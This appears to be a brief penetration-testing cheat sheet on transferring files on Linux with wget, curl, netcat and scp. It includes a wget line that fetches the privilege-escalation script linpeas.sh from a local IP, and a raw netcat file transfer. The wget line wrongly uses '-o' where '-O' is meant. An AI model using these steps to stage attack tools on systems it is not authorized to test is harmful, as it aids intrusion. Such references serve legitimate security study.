Linux

Wget

wget http://192.168.1.5/linpeas.sh -o linpeas.sh

cURL

curl http://192.168.1.5/hello.txt -o hello.txt

Netcat

Sender

nc -lvp 1234 < test.txt

Receiver

nc -nv 127.0.0.1 1234 > test.txt

SCP

  • Copies files between two hosts over SSH

Copy local file to remote system -

scp file.txt [email protected]:/remote/directory

Copy remote file to local system -

scp [email protected]:/remote/file.txt /local/directory

Improve scp performance by using blowfish

scp -c blowfish [email protected]:/remote/directory

Last updated